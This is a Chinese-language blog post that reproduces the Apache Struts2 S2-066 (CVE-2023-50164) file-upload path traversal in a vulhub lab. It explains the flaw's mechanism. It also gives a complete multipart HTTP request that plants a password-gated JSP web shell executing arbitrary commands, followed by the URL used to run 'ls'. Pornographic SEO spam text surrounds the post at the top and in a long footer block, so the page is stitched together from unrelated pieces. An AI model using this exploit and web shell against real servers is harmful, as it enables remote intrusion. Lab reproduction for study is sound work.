<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      Struts2 S2-066(CVE-2023-50164)漏洞復現

      漏洞背景

      1. Apache Struts2 框架

        Apache Struts2 是一個流行的開源 Web 應用框架,用于開發 Java EE Web 應用。它使用并擴展了 Java Servlet API,鼓勵開發者采用模型-視圖-控制器(MVC)架構。該框架為開發者提供了豐富的標簽和實用工具,提供了 action-based 的架構,以創建易于維護和擴展的企業級 Web 應用。

      2.影響版本

      • Apache Struts 2.0.0 - 2.5.32

      • Apache Struts 6.0.0 - 6.3.0

      漏洞原理

      1.漏洞介紹

        Apache Struts2 S2-066 是一個存在于文件上傳功能中的路徑穿越漏洞。攻擊者可以通過操縱表單字段名稱的大小寫,將文件上傳到預期上傳目錄之外的位置。

      2. 漏洞位置

        漏洞出現在  org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest  類中,尤其是在 parseRequest 方法處理上傳文件時,對  filename 參數未充分過濾路徑穿越符號。Struts2 原本會對上傳文件名進行過濾,但攻擊者可以借助使用 filename=../../webapps/ROOT/shell.jsp ,從而繞過校驗并將文件寫入 Web 根目錄

      3.漏洞利用

        在 Struts2 的文件上傳處理過程中,框架通常只保留上傳文件的基本名稱(basename)以防止路徑穿越。但是,由于處理過程中的一個邏輯缺陷,攻擊者可以通過以下方式繞過這個保護:使用首字母大寫的表單字段名(例如,使用 "Upload" 而不是 "upload"),提供一個包含目標路徑穿越文件名的單獨表單字段,這使得未經處理的文件名可以覆蓋基本名稱保護,最終導致成功的路徑穿越。

      漏洞復現

      通過vulhub靶場搭建,然后訪問地址如下圖:

      image

       

      是一個文件上傳的功能點。雖然文件上傳成功,但由于服務器配置,JSP 代碼無法在上傳目錄 /upload/ 中執行。如下圖所示:

      image

       然后現在繞過,利用過程中的關鍵要素:

      • 表單字段名使用首字母大寫("Upload")
      • 單獨的 "uploadFileName" 字段包含路徑穿越的 payload: ../zyon.jsp 

      image

       數據包如下:

       1 POST /index.action HTTP/1.1
       2 Host: 192.168.49.151:8080
       3 Accept-Encoding: gzip, deflate, br
       4 Accept: */*
       5 Accept-Language: en-US;q=0.9,en;q=0.8
       6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
       7 Connection: close
       8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF
       9 Content-Length: 331
      10 
      11 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF
      12 Content-Disposition: form-data; name="File"; filename="zyon.jsp"
      13 Content-Type: text/plain
      14 
      15 <%
      16     if ("zyon".equals(request.getParameter("pass"))) {
      17         String cmd = request.getParameter("cmd");
      18         Process p = Runtime.getRuntime().exec(cmd);
      19         java.io.InputStream is = p.getInputStream();
      20         java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
      21         String output = s.hasNext() ? s.next() : "";
      22         out.println("<pre>" + output + "</pre>");
      23     }
      24 %>
      25 
      26 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF
      27 Content-Disposition: form-data; name="fileFileName"
      28 
      29 ../zyon.jsp
      30 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF--

      然后訪問文件上傳的地址,然后拼接上參數( http://192.168.49.151:8080/zyon.jsp?pass=zyon&cmd=ls )成功執行。如下圖:

      image

      漏洞分析

        為什么漏洞利用過程中單字段名使用首字母大寫(如"Upload"、"File"....)?

        根本原因:字段名與 Action 中的屬性映射規則 Struts2 使用 OGNL(Object-Graph Navigation Language)來將表單字段綁定到 Java 類中的屬性上。Struts2 默認是大小寫敏感的,這一點與 Java Bean 命名規范有關: Struts2 使用 Java 的反射機制調用 setter 方法。 Java Bean 規范要求屬性名匹配 setter,比如 Upload → setUpload()。 如果你用了小寫 upload,而類中是大寫 Upload,反射找不到對應的 setupload() 方法。

       

      posted @ 2025-08-04 17:05  ZyonSec  閱讀(192)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 亚洲欧洲日产国码久在线| 人人爽天天碰天天躁夜夜躁| 国产999精品2卡3卡4卡| 国产精品福利自产拍久久| 成人国产精品一区二区网站公司| 亚洲人成电影网站 久久影视| 国产对白老熟女正在播放| 久在线精品视频线观看| 久爱无码精品免费视频在线观看 | 视频一区二区三区高清在线| 免费无码成人AV片在线| 久久久久无码精品亚洲日韩| 亚洲精选av一区二区| 五月丁香啪啪| 成人网站网址导航| 国产亚洲精品第一综合| 亚洲精品无码AV人在线观看国产| 国产日韩av一区二区在线| 精品人妻伦一二三区久久aaa片| 成年午夜无码av片在线观看| 国产在线拍揄自揄拍无码视频| 99精品国产精品一区二区| 亚洲精品日韩精品久久| 亚洲伊人五月丁香激情| 亚洲欧美精品一中文字幕| 亚洲高清成人av在线| 国产首页一区二区不卡| 国产精品综合av一区二区| 中文字幕乱妇无码AV在线| 自拍偷拍视频一区二区三区| 亚洲a∨国产av综合av| 亚洲欧美高清在线精品一区二区| 亚洲熟妇自偷自拍另类| 亚洲性猛交xxxx| 亚洲精品一区二区三区蜜臀| 国产日韩一区二区四季| 阿城市| 亚洲成a人片在线观看久| 大庆市| 久久精品免视看国产成人| 国产亚洲久久久久久久|